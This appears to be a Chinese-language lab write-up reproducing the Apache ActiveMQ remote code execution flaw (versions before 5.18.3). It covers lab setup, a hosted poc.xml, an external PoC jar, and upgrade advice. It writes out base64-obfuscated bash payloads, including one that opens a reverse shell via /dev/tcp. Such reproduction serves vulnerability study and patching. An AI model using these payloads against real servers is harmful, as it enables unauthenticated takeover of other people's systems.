# Apache ActiveMQ远程代码执行 ## 漏洞描述 Apache ActiveMQ 是 Apache 软件基金会研发的一个开源消息中间件,为应用程序提供高效的、可扩展的、稳定的和安全的企业级消息通信。 当未经身份认证的攻击者访问 Apache ActiveMQ 的 61616 端口时,可通过发送恶意数据在远程服务器上执行代码,进而控制 Apache ActiveMQ 服务器。 更新日期:2023-10-25 参考链接: - https://activemq.apache.org/activemq-5016006-release - https://github.com/Fw-fW-fw/activemq_Throwable ## 漏洞影响 ``` Apache ActiveMQ < 5.18.3 ``` ## 环境搭建 在 ActiveMQ 官方下载 5.16.6 版本安装包,链接:https://activemq.apache.org/activemq-5016006-release 解压安装包,在目录 ./apache-activemq-5.16.6/bin/linux-x86-64 下以控制台模式启动,方便排查报错信息,注意使用 jdk 11: ``` ./activemq console ``` ![image-20231027181920007](images/image-20231027181920007.png) 访问 8161 端口管理页面: ![image-20231030090050081](images/image-20231030090050081.png) ## 漏洞复现 编写 poc.xml,托管在 8080 端口。开启 http 服务: ``` python3 -m http.server 8080 ``` ![image-20231027181935525](images/image-20231027181935525.png) 执行命令: ``` touch /tmp/success ------- base64编码:dG91Y2ggL3RtcC9zdWNjZXNz ``` poc.xml(注意缩进): ``` bash -c {echo,dG91Y2ggL3RtcC9zdWNjZXNz}|{base64,-d}|{bash,-i} ``` 使用 [poc](https://github.com/Fw-fW-fw/activemq_Throwable) 进行复现: ``` java -jar activemq_poc.jar 127.0.0.1 61616 http://127.0.0.1:8080/poc.xml ``` 成功执行 `touch /tmp/success`: ![image-20231027181843920](images/image-20231027181843920.png) 反弹 shell 的 poc.xml: ``` bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i} ``` ![image-20231030083005877](images/image-20231030083005877.png) ## 修复建议 根据影响版本中的信息,排查并升级到安全版本,或直接访问参考链接获取官方更新指南。补丁下载链接:https://github.com/apache/activemq/tags